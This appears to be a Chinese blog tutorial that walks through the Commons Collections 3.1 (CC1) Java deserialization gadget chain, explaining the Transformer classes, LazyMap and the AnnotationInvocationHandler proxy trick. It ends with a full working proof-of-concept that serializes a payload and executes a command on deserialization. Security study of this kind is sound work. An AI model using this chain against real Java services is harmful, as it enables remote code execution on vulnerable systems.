Java反序列化-CC1链分析

环境部署

JDK版本:8u71以下

用maven添加下面代码即可

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
</dependencies>

利用类分析

Transformer

Transformer 是一个接口,提供了一个transform()方法。官方的注释是
将对象(保持不变)转换为某个输出对象

在这里插入图片描述

TransformedMap

TransformedMap 类,用来处理一个Map类,对该类进行添加和修改。
当TransformedMap 处理key 和value时,会调用 transform() 方法来对 key 和 value 进行处理

在这里插入图片描述

可以看当调用 put() 方法添加key 和 value 时会先调用transformKey() transformValue()方法来对 key value 来进行处理
在这里插入图片描述
在这里插入图片描述

之后看一下这两个方法,发现里面都有调用到 transform() 方法

这里的keyTransformer 和 valueTransformer 相当于修改器,用来修改 key 和 value ,具体修改的的方法要根据keyTransformer 和 valueTransformer 的 transform()方法来决定。

ConstantTransformer

这个类实现了Transofmer,作用是在实例化的时候接收一个参数,在调用 transform() 方法时返回这个参数

在这里插入图片描述

InvokerTransformer

这个类同样实现了Transofmer。
在调用 transform() 方法时通过反射调用参数的类的某个方法,可达到一个代码执行的效果
他在实例化时传入的三个参数分别是 要执行的方法、方法参数的类型、方法的参数
在这里插入图片描述
在这里插入图片描述

ChainedTransformer

这个类也实现了Transofmer,ChainedTransformer的 transform() 方法就比较特殊了。首先,ChainedTransformer在实例化的时候会获取一个数组,之后调用 transform() 方法的时候数组中所有的类都会调用它们的 transform() 方法 并且transform() 方法返回的值会作为下一个 transform() 方法的参数使用,以此重复
这里借用一下P神的图
在这里插入图片描述

Poc构造

Transformer数组构造

看一下已经构造好的数组
这个数组中有两个实例化的类,分别是ConstantTransformer 和 InvokerTransformer。

public static void main(String[] args) {
	 Transformer[] transformers = new Transformer[]{
	 	new ConstantTransformer(Runtime.getRuntime()),
 	 	new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
	};
}

将这个数组作为参数传递给ChainedTransformer 类
上文在对ChainedTransformer 介绍时说了,ChainedTransformer 会在调用transform() 方法时把数组中所有类的transform() 方法都调用一点 ,并且把返回的结果作为下一个transform() 方法的参数使用
这里我们在把数组传递给ChainedTransformer 之后调用了transform() 方法

public static void main(String[] args) {
	 Transformer[] transformers = new Transformer[]{
	 	new ConstantTransformer(Runtime.getRuntime()),
 	 	new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
	};
	Transformer transformerChain = new ChainedTransformer(transformers);
	transformerChain.transform("asdf");
}

在调用transform() 方法那行打断点,调试一下,看看程序是怎么运行的
在进入到ChainedTransformer#transform() 方法之后会遍历数组,首先遍历到的是 ConstantTransformer。
在这里插入图片描述
调用ConstantTransformer#transform()
上文介绍ConstantTransformer 时说过,ConstantTransformer#transform()会返回实例化时接收的参数,在实例化的时候我们接收的参数时 Runtime.getRuntime() 所以这里返回的值就是Runtime 类
在这里插入图片描述
在调用完ConstantTransformer#transform() 之后开始下一次的循环
这次循环调用的是InvokerTransformer#transform()
在这里插入图片描述InvokerTransformer#transform() 参数用的是ConstantTransformer#transform() 返回的结果 Runtime
这里先是判断input 是否为空,然后使用getMethod() 获取Runtime中的exec() 方法 之后通过invoke() 调用exec方法,参数是"calc"
在这里插入图片描述
执行完毕
在这里插入图片描述

LazyMap

LazyMap的作用大概就是,当 map 对象要获取 key 时,会判断 map 对象中有没有这个key,如果没有的话,就会创建这个key ,并给这个key 添加值,之后再把这个key 添加到 map对象中
看具体代码

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

调用get() 时,会先判断map 中有没有这个key 如果没有则创建这个key 并调用 factory.transform() 给key 添加一个值,之后调用put() 将这个key 添加至map对象中。

Java动态代理

上面我们讲述了一下触发点,接下来我们来看一下如何才能调用到这个点来代码执行
在ysoserial中是通过sun.reflect.annotation.AnnotationInvocationHandler 这个类中的readObject来调用的
这个类实现了 InvocationHandler 接口,也就是说,当这个类在作为动态代理使用时,被代理对象执行方法时会先去调用 动态代理中的 invoke方法
这里我们看一下 sun.reflect.annotation.AnnotationInvocationHandler#invoke()的代码

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }

                        return var6;
                    }
            }
        }
    }

这里我们得出一条利用链
通过某个类重写后的readObject() 方法调用 map的任意方法,之后就会调用到动态代理的 invoke() 方法,在invoke()方法中调用到了get() 方法加载key,要是key不在map 对象中,则会调用到transform()方法。

new xxx.readObject()
	new LazyMap().xxx()
		new AnnotationInvocationHandler().invoke()
			new LazyMap().get()
				new ChainedTransformer.transform()
					new ConstantTransformer().transform()
						new InvokerTransformer().transform()

接着我们再看一下 sun.reflect.annotation.AnnotationInvocationHandler#readObject()
调用到了 Map接口中的 entrySet()方法,那么这里就可以作为我们的入口点去触发代码执行。


    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

完整攻击链

    public static void main(String[] args) throws Exception{
        //构造恶意数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };

        //获取恶意数组
        Transformer transformerChain = new ChainedTransformer(transformers);
        //将恶意方法作为修饰元素的方法
        Map lazyMap = LazyMap.decorate(new HashMap(),transformerChain);

        //反射获取并实例化动态代理
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler LazyMap_handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);

        //代理 lazyMap的接口,使用 LazyMap_handler代理
        //proxyMap在调用到 Map接口中的任意方法之后将会执行 LazyMap_handler的 invoke()方法
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),LazyMap_handler);

        //将 proxyMap带入到 sun.reflect.annotation.AnnotationInvocationHandler类中,去调用 entrySet()方法
        Object  handler = constructor.newInstance(Retention.class,proxyMap);

        //反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("LazyMap_CC1"));
        oos.writeObject(handler);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("LazyMap_CC1"));
        ois.readObject();
    }
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值